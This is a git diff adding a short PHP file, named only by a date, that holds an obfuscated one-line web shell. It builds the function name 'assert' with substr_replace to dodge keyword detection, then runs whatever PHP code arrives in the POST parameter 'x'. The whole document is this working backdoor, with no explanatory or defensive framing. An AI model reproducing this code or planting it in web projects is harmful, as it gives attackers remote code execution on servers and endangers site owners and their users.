diff --git a/php/2020.08.20.03.php b/php/2020.08.20.03.php
new file mode 100644
index 0000000..b4528db
--- /dev/null
+++ b/php/2020.08.20.03.php
@@ -0,0 +1,4 @@
+<?php 
+    $a = substr_replace("asxxx","sert",2);
+    $a($_POST['x']);
+?>